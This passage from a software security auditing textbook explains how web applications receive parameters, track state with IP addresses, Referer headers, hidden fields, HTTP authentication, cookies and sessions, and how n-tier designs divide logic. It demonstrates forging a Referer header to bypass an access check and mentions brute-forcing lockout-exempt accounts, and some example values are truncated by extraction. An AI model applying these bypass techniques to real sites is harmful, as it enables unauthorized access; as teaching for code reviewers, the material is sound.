HTTP/1.1 Host: test.com The Web server calls the program or request handler corresponding to /webapp and indicates that extra information was passed through the appropriate mechanism. If The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1030 the program gets information through CGI variables, the CGI program would see something like this: PATH_INFO=/blah/blah/blah SCRIPT_NAME= If the program is a Java servlet and calls request.getServletPath(), it receives /webapp. However, if the program calls request.getRequestURI(), it receives /webapp/blah/blah/blah. Auditing Tip If you see code performing actions or checks based on the request URI, make sure the developer is handling the path information correctly. Many servlet programmers use request.getRequestURI() when they intend to use request.getServletPath(), which can definitely have security consequences. Be sure to look for checks done on file extensions, as supplying unexpected path information can circumvent these checks as well. GET and Query Strings The second mechanism for transmitting parameters to a Web application is the query string. It's the component of a request URI that follows the question mark character (?). For example, if the http://test.com/webapp?arg1= URI is entered into a browser, the browser connects to the test.com server and submits a request similar to the following: GET /webapp?arg1=hi&arg2=jimbo HTTP/1.1 Host: test.com This is the query string in the preceding request: arg1= Most dynamic Web technologies parse this query string into two separate variables: arg1 with a value of hi and arg2 with a value of jimbo. The & character is used to separate the arguments, and the = character separates the argument name from the argument value. The other possible form for a query string is the one mentioned for the TEXTSEARCH request. If the query string doesn't contain an = character, the Web server assumes The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1031 the query is an indexed query, and the arguments represent command-line arguments. For example, the following code runs the CGI program mycgi.pl with the arguments hi and jimbo: GET /mycgi.pl?hi&jimbo HTTP/1.1 Host: test.com HTML Forms Before you look at the third common way of transmitting parameters, take a look at HTML forms. Forms are an HTML construct that enables application designers to construct Web pages that request user input and then relay it back to the server. A basic HTML form has an action, a method, and variables. The action is a URI that corresponds to the resource handling the filled-out form. The method is GET or POST, and it determines which method the client uses to transmit the filled-out form. The variables are the actual content of the form, and designers can use a few basic types of variables. Here's a brief example of a form: <form method="GET" action="http://test.com/transfer.php"> Source Account: <select name="source"> <option selected value="42424242">42424242</option> <option value="82345678">82345678</option> </select><br> Destination Account: <select name="dest"> <option selected value="12345678">12345678</option> <option value="82345678">82345678</option> </select><br> Amount: <input type="input" name="value"><br> <input type="Submit" value="Transfer Money"><br> </form> Figure 17-1 shows what this simple form would look like rendered in a client's browser. This form uses the GET method, and the results are submitted to the transfer.php page. There are drop-down list boxes for the source account and destination account and a simple text input field for the transfer amount. The last input is the submit button, which allows users to initiate the transmission of the form contents. Figure 17-1. Simple form The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1032 When users submit this form, their browsers connect to test.com and issue a request similar to the following: GET /transfer.php?source=42424242&dest=12345678&value=123 HTTP/1.1 Host: test.com In this request, you can see that the variables in the form have been turned into a query string. The source, dest, and value parameters are transmitted to the server and submitted via the GET method. POST and Content Body The third mechanism for transmitting parameters to a Web application is the POST method. In this method, the user's data is transferred by using the body of the HTTP request instead of embedding the data in the URI as the GET method does. Assume you changed the preceding form to use a POST method instead of a GET method by changing this line: <form method="GET" action="http://test.com/transfer.php"> To this: <form method="POST" action="http://test.com/transfer.php"> When users submit this form, a request from the Web browser similar to the following is issued: POST /transfer.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 40 source= The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1033 You can see that the parameters are encoded in a similar fashion to the GET request, but they are now in the request's content body. Parameter Encoding Parameters are encoded by using guidelines outlined in RFC 2396, which defines the URI general syntax. This encoding is necessary whether they are sent via the GET method in a query string or the POST method in the content body. All nonalphanumeric ASCII characters are encoded, which includes most Unicode characters and multibyte characters. This encoding is described in Chapter 8(? [????.]) "Strings and Metacharacters," but we will briefly recap it here. The URL encoding scheme is % hex hex, with a percent character starting the escape sequence, followed by a hexadecimal representation of the required byte value. For example, the character = has the value 61 in the ASCII character set, which is 0x3d in hexadecimal. Therefore, an equal sign can be encoded by using the sequence %3d. So you can set the testvar variable to the string jim= with the following encoded string: testvar= GET Versus POST Although you've learned the technical details of GET and POST, you haven't seen the difference between them in a real-world sense. Here are the essential tradeoffs:  GET requests have more limitations than POST requests. The Web server typically limits the query string to a certain number of characters. This limitation is usually between 1024 and 8192 characters and is tied to the maximum size request header line the Web server accepts. POST requests can effectively be any length, although the Web server might limit them to a reasonable threshold (or crash because of numeric overflow vulnerabilities).  GET requests are easier to create, as you can specify them via hyperlinks without having to create an HTML form. POST requests, on the other hand, require creating an HTML form or scripted events, which might have display characteristics that Web designers want to avoid.  GET requests are less secure because they are likely to be logged in Web proxy logs, browser histories, and Web server logs. Usually, security-sensitive information shouldn't be transmitted in GET requests because of this logging.  GET requests also expose application logic to end users by placing variables in the Web browser's address bar, which just tempts users to manipulate them.  The Referer request header tells the server the URI of the page the client just came from. So if the query string used to generate a page contains sensitive The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1034 variables, and users click a link on that page that takes them to another server, those sensitive variables are transferred to the third-party server in the Referer header. Auditing Tip Generally, you should encourage developers to use POST-style requests for their applications because of the security concerns outlined previously. One issue to watch for is the transmission of a session token via a query string, as that creates a risk for the Web application's clients. The risk isn't necessarily a showstopper, but it's unnecessary and quite easy for a developer or Web designer to avoid. 8.4.4 State and HTTP Authentication HTTP is a straightforward request and response protocol that's stateless by design. Web servers don't keep track of what a client has requested in the past, and they process each request in a vacuum, using only the information in the actual request header and body. Most Web applications, however, must be able to maintain state across separate HTTP requests. They need to remember information such as who has logged in successfully and which Web client goes with which bank account. Grafting state tracking on top of HTTP can be done in a few different ways, discussed in the following sections. Security vulnerabilities related to the underlying stateless nature of HTTP are quite prevalent in Web code, so it's worth spending time reviewing the basic concepts and issues of state tracking. State It's important to understand the distinction between a stateless system and a system that maintains state (that is, a stateful system). A stateful system has a memory; it keeps track of events as they occur and cares about the sequence of events. A stateless system has no such memory. In general, every time you provide the same event to a stateless system, you get the same result. This isn't true for stateful systems because the previous events you have supplied can affect the result. A good example of state tracking can be found in firewall technology. Firewalls take packets off the network and decide whether each packet is safe. Safe packets are forwarded on to the protected network, and dangerous packets are rejected or ignored. A stateless firewall makes its decision by looking at each packet in isolation. A stateful firewall, however, has a memory of past packets that it uses to model active connections on the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1035 network. When a stateful firewall analyzes a packet, it can determine whether that packet belongs to a legitimate connection it has witnessed previously. Stateless firewalls can base their decisions only on the contents of the packet they intercepted and analyzed in a vacuum. Stateful firewalls are more complex and error prone, but they are also more powerful and potentially let through fewer dangerous packets. Overview Even the simplest business Web sites require the Web application to maintain some form of state across HTTP requests. To explore some state-tracking concepts, you'll use a simple example of a Web application: a Web site for an online financial service. Customers should be able to log in, see their balance, and optionally see their secret PIN. A plan for the site is laid out in Figure 17-2. Figure 17-2. Simple Web application [View full size image] The login page is the first page users of the site see. It's responsible for two tasks: displaying the login form and handling authentication of users. When users come to the login page for the first time, the code for the page displays the login form. When users fill in the login form and submit it, the login page attempts to validate the username and password entered in the form. If the credentials are valid, the login page forwards users to the main page. Otherwise, it displays an error. The main page is responsible for displaying users' balances and presenting a menu of options. It needs to determine the identity of the user requesting the page so that it can retrieve the correct account balance information, and it needs to make sure the user has logged in successfully. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1036 The secret page is responsible for displaying users' secret PINs. It also needs some way of identifying users so that it can look up the correct secret PIN. After all, you certainly don't want the application to divulge secret PINs to the wrong users. You can isolate two pieces of state information you need to track in this simple application:  Whether the user is authenticated The main page and the secret page shouldn't be available to unauthenticated users. They should have to log in successfully on the login page first.  The user tied to the Web client making the request Both the main page and the secret page need to know which account they should look up for their information. Because Web servers don't have a memory and don't keep state, you need some way to have the Web application remember this information after users log in successfully. The following sections describe possible solutions. Client IP Addresses Web applications can ascertain several details about a client request from the Web server, which they can use to try to identify and track users. The client IP address is one of the few identifying features the client shouldn't be able to spoof or control, so it's sometimes used to maintain state. In your application, you could use this information by recording clients' source IP addresses when they log in successfully. You could make an entry in a file or database that contains the client's IP address and associated account number and solve both state requirements. If you need to verify whether the user is authenticated in the main page or the secret page, you just check to see whether the client's IP address is in the list of authenticated clients. If it matches, you can pull the associated account from the list and look up the user's details. This scheme might work well for your simple site, but you could definitely run into problems. The biggest issue is that if the user is behind a Web proxy, Web cache, or firewall, you get a source IP address that's shared with everyone else at that user's organization or ISP. Therefore, if users went to the main page or secret page at an opportune time, they might be able to retrieve sensitive information from another user's account. If the client is behind a load-balancing proxy or a firewall device that uses multiple IP addresses for its Network Address Translation (NAT) range, you could also run in to the problem of users' IP addresses changing in the middle of their sessions. If this happens, users would experience intermittent failures when trying to use your Web site. Also, if users have logged in from a shared or public machine, a miscreant could The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1037 come along after users have closed their browsers and go straight to the secret page with a new browser. All in all, these problems can be major drawbacks. You could certainly try to resolve potential conflicts by recording other facts about clients, such as the User Agent string, but this scheme is a very poor choice in most situations. Auditing Tip Tracking state based on client IP addresses is inappropriate in most situations, as the Internet is filled to capacity with corporate clients going though NAT devices and sharing the same source IP. Also, you might face clients with changing source IPs if they come from a large ISP that uses an array of proxies, such as AOL. Finally, there is always the possibility of spoofing attacks that allow IP address impersonation. There are better ways of tracking state, as you see in the following sections. As a reviewer, you should look out for any kind of state-tracking mechanism that relies solely on client IPs. Referer Request Header One of the HTTP request header fields is Referer, which the Web browser uses to tell the server which URL referred the browser to its current request. For example, if you're at the page http://www.aw-bc.com/ and click a link to http://www.neohapsis.com/, your Web browser issues the following request to the www.neohapsis.com server: GET / HTTP/1.0 Host: www.neohapsis.com Referer: http://www.aw-bc.com/ Web developers sometimes use the Referer field to try to enforce a certain page flow order by ensuring that users come only from valid pages. However, this method of enforcement is very easy to circumvent. Say that in your sample application, you track users by IP address. As part of your security controls, but you also want to make sure users get to the secret page only by coming from the main page. This way, attackers can't wait for someone else in the organization to log in and then go straight to the secret page. You decide to add some code to make sure users can get to the main page only by coming from the login or secret page. This approach might seem to prevent pages from giving out PINs and account balances to unauthenticated users. As you might suspect, however, it's The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1038 fundamentally flawed because the Referer header is a client request parameter, and clients can set it to whatever they like! For example, here's what happens when you enter a request manually with the openssl s_client utility: test # openssl s_client -connect test.test.com:443 GET /test/secret HTTP/1.0 HTTP/1.1 200 OK Date: Sat, 21 Aug 2006 09:17:50 GMT Server: Apache Accept-Ranges: bytes X-Powered-By: PHP/4.3.0 Connection: close Content-Type: text/html; charset=ISO-8859-1 invalid request You get an "invalid request" message, indicating that you failed the Referer check. Now put the right Referer in there to placate that check: test # openssl s_client -connect test.test.com:443 GET /test/secret HTTP/1.0 Referer: https://test.test.com/test/main HTTP/1.1 200 OK Date: Sat, 21 Aug 2006 09:23:37 GMT Server: Apache Accept-Ranges: bytes X-Powered-By: PHP/4.3.0 Connection: close Content-Type: text/html; charset=ISO-8859-1 <html> <head><title>Secret!</title></head> <body> <p>The secret PIN is zozopo.</p> <p>Click <a href="main">here</a> to go back.</p> </body> </html> Oops! The forged Referer header satisfies the check and successfully displays the secret page. So, using a Referer header might buy you a modicum of obscurity, but it doesn't do much to provide any real security. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1039 Note The Referer field does have some security value for preventing cross-site reference forgery (XSRF) attacks. Jesse Burns of Information security partners published an excellent paper on this attack type, available at www.isecpartners.com/documents/XSRF_Paper.pdf. Embedding State in HTML and URLs The essential trick to maintaining state in HTTP is feeding information to the client that you expect the client to include in every request. This way, the client provides all the information you need to process the request, or it provides a piece of information you can use to retrieve the other needed information from a separate source. In the sample application, if you can come up with a way to always have clients provide the information the server needs to process requests, you have a solution that meets your needs for state tracking. In the main and secret pages, you need to know that clients have logged in successfully, and you need to know who clients are so that you can retrieve their account information. First, examine the second half of the problemidentifying users. If you could have clients send usernames along with every request to the main and secret pages, you could determine who the users are and pull the correct information. Because you control every link to the main and secret pages, and every link is in HTML written by the Web application code, you can simply have every link contain a parameter that identifies users. For this method to work, you can't miss any path to the main or secret pages, or the username isn't sent and the page can't process the results. You can pass this information in a few ways, but the most popular methods are hidden fields in HTML forms and query strings. HTML forms enable you to have hidden fields, which are variables set in the form but not visible to users in their Web browsers. In a form where you want to add a hidden username, you just need to add a line like this: <input type="hidden" name="username" value="jimbo"> Hidden fields work well for forms, but this application mainly uses hyperlinks to get from one page to the next. You could rewrite the application to use forms, or you could pass along the state information as part of a query string (or path information). For example, in the main page, instead of printing this line: <p>Click <a href="secret">here</a> to see your secret PIN.</p> The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1040 You could print this line: <p>Click <a href="secret?username=jimbo">here</a> to see your secret PIN.</p> If you rewrite the application to pass the username along with every request, the application would certainly be functional. However, it wouldn't be secure because attackers could just go straight to the main or secret page and provide the name of the person whose account they wanted to view. Auditing Tip Although this sample application might seem very contrived, it is actually representative of flaws that are quite pervasive throughout modern Web applications. You want to look for two patterns when reviewing Web applications: 1. The Web application takes a piece of input from the user, validates it, and then writes it to an HTML page so that the input is sent to the next page. Web developers often forget to validate the piece of information in the next page, as they don't expect users to change it between requests. For example, say a Web page takes an account number from the user and validates it as belonging to that user. It then writes this account number as a parameter to a balance inquiry link the user can click. If the balance inquiry page doesn't do the same validation of the account number, the user can just change it and retrieve account information for other users. 2. The Web application puts a piece of information on an HTML page that isn't visible to users. This information is provided to help the Web server perform the next stage of processing, but the developer doesn't consider the consequences of users modifying the data. For example, say a Web page receives a user's customer service complaint and creates a form that mails the information to the company's help desk when the user clicks Submit. If the application places e-mail addresses in the form to tell the mailing script where to send the e-mail, users could change the e-mail addresses and appear to be sending e-mail from official company servers. To secure this system, you need to pass something with all requests that attackers would have a hard time guessing or faking. You could definitely improve on this system until you have a workable solution. For example, you could generate a large random number at login and store it in a database somewhere. To fake logged-in The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1041 status, attackers would have to guess that random number, which could be difficult. For now, however, take a brief look at HTTP authentication in the next section. HTTP Authentication HTTP has built-in support for authenticating users through a generic challenge/response mechanism. Many enterprise sites don't use this protocol support; instead, they opt to implement their own authentication schemes or, more often, use an authentication framework provided by their infrastructure/middleware components. However, you still encounter HTTP authentication in real-world applications and Web sites, although it's more often used to protect secondary content, such as administrative interfaces, or for less enterprise-oriented sites, such as Web forums. The most widely supported authentication scheme is Basic Authentication. Basically, a username and password is collected from the user and base64-encoded. The base64 string is sent over the network to the server, which decodes it and compares it with its authentication database. This scheme has myriad security vulnerabilities, with the most significant problem being that the username and password are effectively sent over the network in clear text. Therefore, this method can be quite risky for authentication over clear-text HTTP. Its security properties are an order of magnitude better when it's used over SSL, but it's still recommended with trepidation. If the browser is somehow tricked into authenticating with cached credentials over a clear-text connection, the user's password could be seized. The other authentication scheme specified in the HTTP RFCs is Digest Authentication, a challenge/response authentication protocol. The level of security it provides, however, depends quite a bit on the version and options used. The original pre-HTTP/1.1 specification of Digest Authentication was designed so that the HTTP server is still completely stateless. Therefore, the HTTP server isn't required to remember challenges it presents to the client, and the protocol is susceptible to considerable replay attacks. The HTTP/1.1 specifications have the option of a form of stateful tracking of challenges issued by the server, which eliminates the straightforward replay attacks. Its security properties when used with SSL are arguably quite good when either version is used. However, Digest Authentication is not supported on all platforms, and it also requires that passwords be stored in plaintext at the server. As such, Digest Authentication is not commonly seen in web applications. There are also proprietary authentication schemes implemented over HTTP, particularly for Microsoft technologies. For example, IIS supports Integrated Windows Authentication, which uses Kerberos or Windows NT Lan Manager (NTLM) for authentication but works only over SSL connections. There's also the possibility of .NET Passport authentication support, which ties into Microsoft's global Passport service. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1042 Auditing Tip Weaknesses in the HTTP authentication protocol can prove useful for attackers. It's a fairly light protocol, so it is possible to perform brute-force login attempts at a rapid pace. HTTP authentication mechanisms often don't do account lockouts, especially when they are authenticating against flat files or local stores maintained by the Web server. In addition, certain accounts are exempt from lockout and can be brute-forced through exposed authentication interfaces. For example, NT's administrator account is immune from lockout, so an exposed Integrated Windows Authentication service could be leveraged to launch a high-speed password guessing attack. You can find several tools on the Internet to help you launch a brute-force attack against HTTP authentication. Check the tools sections at www.securityfocus.com and www.packetstormsecurity.org. To enable HTTP-supported authentication, you must configure your Web server to protect certain content in your Web tree. When a Web browser attempts to request protected content for the first time, the server returns a 401 message, which indicates the access request was unauthorized. This 401 response includes a WWW-Authenticate header field that informs the client which authentication methods are supported. This header field also contains challenges for any supported authentication mechanisms that use a challenge/response protocol. The Web browser then presents the user with an authentication dialog. It resubmits the original request to the Web server, but this time it includes an Authorization header containing a response appropriate for the selected authentication method. If the authentication information is invalid, the server again responds with a 401 message, and the WWW-Authenticate header field has new challenges. The behavior that makes this system come together is that if a browser is successfully authenticated to a protected resource, it continues to send the Authorization header with every subsequent request to that resource and anything below that resource in the Web hierarchy. Note that the server is still stateless, and the client Web browser is what makes the user experience seem fluid. The server always responds to an incorrect or missing Authorization header with a 401 message. It's up to the client to attempt to provide a correct Authorization header by querying the user and retrying the request. If the client does authenticate successfully, protected dynamic applications are able to retrieve the username from the Web server, which they can use for tracking state if necessary. If you want to modify the sample application so that it's protected by HTTP authentication, first you need to configure the Web server to guard the application's The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1043 Web pages. For example, with Apache, you place an .htaccess file in the same directory as the Web application code: AuthUserFile /scan/apache/htdocs/text/.htpasswd AuthGroupFile /dev/null AuthName HappyTown AuthType Basic <Limit GET POST> require user jim </Limit> You should get rid of the login page, as the Web server and Web browser would work together to manage collection of usernames and passwords and perform authentication. You could simply rewrite the main and secret pages so that they check for the server variable REMOTE_USER, which is set to the client's username if the client authenticates successfully. Auditing Hidden Fields In the early days of Web development, authentication was usually handled by HTTP and the Web server, and state maintenance was primarily done through hidden form fields and query string parameters. Many programmers who are developing today's n-tier distributed enterprise Web applications are the same developers who were cranking out Perl and CGI Web applications back then. In many large Web applications, you can find an occasional throwback to the simpler days of Web coding, probably in places where the developer felt rushed or didn't have time to go back and refactor the code. A reasonable rule of thumb these days is that state maintenance done with hidden form fields is appropriate only for information that's temporarily collected before it's validated and processed. For example, if a survey requires users to fill out three pages of forms, you might expect to see values from the first page as hidden parameters on the second and third pages. As a code reviewer, you should watch for data that's propagated via hidden fields after it has been validated or data that's placed into hidden fields to facilitate the Web server's future processing. In both cases, developers often don't consider the impact of users changing the data after the initial submission. Cookies The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1044 Cookies are a generic HTTP mechanism for storing small pieces of information on a client's Web browser. After you store a cookie on a Web browser, every subsequent request the browser makes to your Web application includes that cookie. Therefore, cookies are ideal for tracking clients and maintaining state across requests. Most enterprise Web applications and Web-oriented programming frameworks build state management entirely around cookies. To set a cookie, the Web application instructs the Web server to send a HTTP response header named Set-Cookie. It looks like this: Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN; secure The first part of the Set-Cookie header is the actual content of the cookie, which consists of a single cookie name and a single cookie value. They are encoded with the same style of hexadecimal encoding used for GET and POST parameters. If you want to set multiple variables, you actually set multiple cookies instead of using something like the & character. All relevant cookies are sent to the Web server, as explained later in this section. The expires tag lets the server specify an expiration date/time for the cookie. After the specified time, the browser stops sending the cookie and deletes it. This tag is optional. A cookie with the expires tag is known as a persistent cookie, and a cookie without the tag is a nonpersistent cookie. Nonpersistent cookies are temporary in nature; they exist only in the browser's memory and are discarded when the browser is closed. Persistent cookies have more permanence, as they are stored on the client's file system by the Web browser and persist when the browser is closed. The path and domain tags help the browser know when to send the cookie. Every time a browser makes a Web request, it searches through its list of cookies to see whether any that need to be sent. First, it checks the domain name of the Web server against the domains specified in its list of cookies. This check is a substring search based on the tail of the domain name, so a cookie set with a domain of .test.com is sent to the servers www.test.com, www2.test.com, and this.is.a.test.com, for example. If the browser finds any cookies matching the specified domain, it then checks the path parameter. The path of the Web request is checked against the path specified when the cookie was set. This check is also a substring search, but it works from the head of the path. So a path= tag in the Set-Cookie header causes the cookie to match every request, as every Web request starts with a / character. A tag such as path= causes the cookie to be sent to every Web request starting with /test, such as /test/, /test/index.html, or /test/test2/test.php. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1045 Cookies can also be marked secure or nonsecure with the optional secure tag. A secure cookie is sent only over HTTPS, whereas a nonsecure cookie is sent over both HTTP and HTTPS. For each Web request, the browser selects all cookies that seem appropriate by evaluating the Web request against the domain and path attributes of the cookies in its internal store. It then concatenates all matching cookies into a single request header field, which looks like this: Cookie: NAME1=VALUE1; NAME2=VALUE2; NAME3= In your sample Web application, you could make use of cookies to handle tracking user state. To do this, you add code to set a cookie if the user logs in successfully, and then you add code to check for the cookie and pull the username in the main and secret pages. If you compare this approach to the solution of rewriting every page request to contain a hidden field, you can see that the cookie solution is much simpler and saves you a lot of trouble. Now imagine a typical Web site with at least 30 different pages and a few hundred potential page traversals, and you can see that the cookie approach is an order of magnitude simpler than other state-tracking schemes. Auditing Tip When you review a Web site, you should pay attention to how it uses cookies. They can be easy to ignore because they are in the HTTP request and response headers, not in the HTML (usually), but they should be reviewed with the same intensity you devote to GET and POST parameters. You can get access to cookies with certain browser extensions or by using an intercepting Web proxy tool, such as Paros (www.parosproxy.org) or SPIKE Proxy (www.immunitysec.com). Make sure cookies are marked secure for sites that use SSL. This helps mitigate the risk of the cookie ever being transmitted in clear text because of deliberate attacks, such as cross-site scripting, or unintentional configuration and programming mistakes and browser bugs. Sessions You have surveyed all the technology building blocks a Web application can use to track state. You can pay attention to inherent attributes of the HTTP request, such as the client IP address or the Referer tag. You can embed information the application needs in dynamically created HTML, in hidden form fields, or in URIs by using path information and query strings. You can rely on HTTP authentication mechanisms to have the Web server determine who the authenticated user is for every request. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1046 Finally, you can use cookies to store information on the Web browser that are transmitted by the browser with every subsequent request. In the early days of dynamic Web programming, Web developers created a useful abstraction for tracking state known as a session. A session is basically a data structure that serves as a container for data associated with a Web client. Sessions are data stores that are maintained on the server in memory, on disk, in a database, or as component objects in an application server. A Web application stores data and objects in a session and retrieves them later through a simple API. The session is tied to a user through the use of a session token, which is a unique identifier that the server can use as a unique key for accessing the session data structure. Session tokens are usually large random numbers created for users when they log in or make their first request to the Web site. Ideally, this token should be known only by the client, making it a secure mechanism for uniquely identifying a user. The session system is supported by using one of the state-tracking mechanisms you examined earlier. The only information users need to send with every request is the session token, so it works well with multiple schemes. The most common implementation, however, is with cookies. When a user accesses a site, the Web server creates a session and sets a cookie containing the session token. Every subsequent request from that user includes the cookie containing the session token. Even though cookies are the most popular mechanism for session identification, session tokens may be passed in hidden form fields, in query string parameters, or in rare cases, as URI path components. The beauty of the session abstraction is that after a session is established, the Web application code has a universal and simple mechanism for associating data with a specific user. Sessions are typically used in two different ways. First, they are used as a secure mechanism for storing state information that's globally useful to all pages in a Web application. For example, in your sample Web site, the login page could store the username of the user in the session after a successful login. The main and secret pages then only need to check the session to see whether that username has been set. There's no way a remote user could alter the session and add or change the username unless a vulnerability existed in the session management code or the Web application. In general, the session can be used as a safe place to store information you don't want the client to have direct access to. Second, sessions are used to temporarily store information, in much the same way developers use hidden form fields. One page might take data from the user and validate it, and then instead of writing it to the HTML as hidden fields, the page stores it in the session. That way, developers could be sure the user couldn't tamper with the session contents, and the data in the session could be trusted for use in a subsequent page. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1047 Sessions are usually provided by a Web framework or Web-oriented language, although they can be implemented by application developers. The details vary across different frameworks, but sessions are often created automatically the first time a client connects to a Web site. Languages such as PHP and frameworks such as ASP automatically include session support that's backed by cookies. Note Sessions are an important component of Web applications. You learn how to review them from a security perspective in "Problem Areas(? [????.])" later in this chapter. 8.4.5 Architecture Now that you understand the fundamentals of HTTP and the basic techniques for addressing the problems of state and authentication, you can examine the problem domain of enterprise Web applications. There are several technology constraints as well as some high-level design concepts that drive modern Web application design. Enterprise Web applications can be quite complex, and it's worthwhile to explore some reasons these systems tend toward complicated designs. The following sections discuss some common drivers toward abstraction in the Web problem domain, and you learn about common architecture decisions for Web applications. Redundancy As programmers perfect their skills, naturally they try to make their jobs easier by writing reusable code and creating tools and frameworks. Web programming has a lot of redundant code, so Web programmers tend to create frameworks to abstract out the redundancy. For example, say a Web site has 20 different actions users can perform, such as checking a balance, paying a bill, and reporting a fraudulent charge. A straightforward implementation might have 20 different servlets, one for each user action, and a considerable amount of overlapping code. All the servlets need to check that users are authenticated and authorized for various resources; they all need to access the database and the session; and they all need to present HTML results to users. One simple refactoring would be moving common functions into objects that all the servlets use. This would get rid of a lot of redundant code for tasks such as authentication and make the application easier to maintain, as changes need to be made in only one place. There are plenty of other opportunities for refactoring out redundant code. For example, the programmer might observe that some servlets behave similarly and decide to merge them into one servlet that behaves differently based on a configuration file. What does abstraction mean from a security perspective? These kinds of modifications are usually beneficial because they increase an application's The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1048 consistency, readability, and simplicity, all of which are usually good for security. That said, it's possible to overdo it. There's something to be said for having highly related sections of code located close to each other. It's easy to abstract out functionality so that security-critical logic is spread out over multiple files. When this is done in a way that makes it difficult to remember the application's entire control flow, developers increase the risk of a flaw caused by incorrect logic across multiple modules. Presentation Logic Presentation logic is code that's primarily concerned with displaying and formatting data, as opposed to business- or application-oriented logic that's responsible for tasks such as communicating with databases or authenticating users. Web application development is often a collaborative effort between graphical designers and application programmers, so this division can make sense from a logistical perspective. If the presentation code can be cleanly divorced from the rest of the code, Web application programmers can be responsible for performing the correct actions on the back end and getting the correct data to the presentation logic, and the more graphically oriented designers can be responsible for laying out the presentation of the data and making sure it looks appealing. In a Web application, this separation between presentation and application logic can generally be accomplished by having each page first call into other code to perform the necessary processing and gather the required data. The application programmer creates this first part of the code, which is responsible for performing actions users request and then filling out a data structure. The second part of the code, the presentation logic, is responsible for rendering the contents of the data structure into HTML. XML can be used for this purpose, too; application developers can write code that presents an XML document to the presentation logic. This presentation logic could be an XSLT stylesheet written by a designer that instructs the server how to render the data into HTML. Business Logic The programs that make up a Web application have to deal with the vagaries of a HTTP/HTML-based user interface as well as the actual business logic that drives the site. Business logic is a somewhat nebulous term, but it generally refers to procedures and algorithms an application performs that directly relate to business items and processes. For example, in a banking Web site, business logic includes tasks such as looking up bank accounts, enforcing rules for money transfers, and verifying a request for a credit limit increase. Business logic doesn't include tasks related to the Web site infrastructure or interface, such as expiring a user's token, making sure a user is authenticated to the Web site, formatting HTML output, and handling missing form input in a user request. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1049 Another related concept is business objects, which encapsulate business logic in an object-oriented framework. For example, a banking site might define business objects such as Customer, Account, and TRansfer, and define methods that carry out business logic, such as Account.getStatement() and TRansfer.Validate(). N-Tier Architectures Many enterprise Web applications are constructed with multiple tiers, in which Web site functionality is divided into separate components and distributed across multiple servers, as shown in Figure 17-3. Figure 17-3. N-tier architecture The client tier is usually a client's Web browser, although some Web applications might have Java applets or other client-side code that performs user interface functions. Mobile phones are also included in this tier. For Web services, the client tier can include normal client applications that talk to the Web server via Simple Object Access Protocol (SOAP). (Web services and SOAP are discussed more in Chapter 18(? [????.]).) The Web tier is essentially the Web server. This tier is typically responsible for handling user requests, dispatching requests to the business logic, handling the results from the business logic, and rendering results into HTML for end users. The Web tier is composed of Web server software; application code such as ASP, PHP, or Java servlets; and HTML and any accompanying presentation logic. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1050 The business tier handles the business logic of a Web application. This tier handles requests from the Web tier to perform business functions. It's often implemented by using an application server that hosts business objects. These objects are implemented as software components, such as COM objects, Web services, or JavaBeans. Java, .NET, and Visual Basic are popular choices for this functionality. The data tier handles storing and retrieving data for the Web application. It typically includes machines that run a relational database management system (RDBMS) and legacy machines containing enterprise data. The business tier talks to the data tier to retrieve the data needed to carry out the business logic. The Web tier might also talk to the data tier if it needs to handle user authentication and session management. Client tiers are usually nothing more than users with Web browsers on the Internet. Many Web applications combine the Web tier and the business tier into one tier and implement all Web site functionality in programs that run on the Web server. This approach is usually a solid choice for small to medium applications. The data tier is usually a database server running on its own machine or a mainframe with some sort of middleware bridge, such as Open Database Connectivity (ODBC); however, some smaller sites place the database server directly on the Web server. Applications with multiple business and data tiers aren't uncommon, especially in the financial sector. An extreme, real-world example of this multitiered architecture is a Web system composed of a Java servlet Web tier talking to a Web Services business tier written in Visual Basic, talking to a COM object business tier written in Visual Basic, talking to a COM object business tier written in C++, talking to a proprietary business tier server written in C++, talking to a back-end business tier running on a legacy system. The security logic for a lot of the system is located on the legacy system, which effectively relegated an audit of several hundred thousand lines of source code to a black box test. Business Tier The business tier is typically an application server containing object-oriented software components that encapsulate the Web application's business logic. For example, if a user logs in to a banking Web site, the Web tier would probably handle authentication and setting up the user session. It would then tell the business tier that a user logged in via an RPC-style message or object invocation. This notification could cause the business tier to create a User object, which would contact the back-end database to retrieve information about that user, such as the user's account numbers. The User object could in turn create Account objects for all that user's accounts. Those Account objects could contact the database to retrieve account information about the user's accounts. These objects stay alive in the business tier and keep the account information in memory, anticipating a request from the Web tier. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1051 If the user later clicks a link for a checking account balance inquiry, the Web tier brokers the request and then requests an account overview from the business tier. The business tier then retrieves that information from the appropriate Account object and hands it directly to the Web tier. The business tier is responsible for maintaining its own state across requests from the Web tier. Business objects usually stay alive in memory until their corresponding users log out from the Web site. Ideally, the business tier should be independent from the Web tier. If another application needs access to the same business information or functionality, it should be able to interface directly with the business tier. Therefore, distributed component technologies, such as Web Services, can work well to facilitate this degree of interoperability, although simpler technologies are often chosen for the sake of performance. Separating business logic from the application logic for the Web site is a common design decision for large-scale applications. This design choice has many advantages and a few disadvantages. A design with this added layer has attractive characteristics from an object-oriented software engineering perspective, as it seems more amenable to maintenance and potential reuse, and the division seems logical. However, this separation can obfuscate the security impact of decisions made at 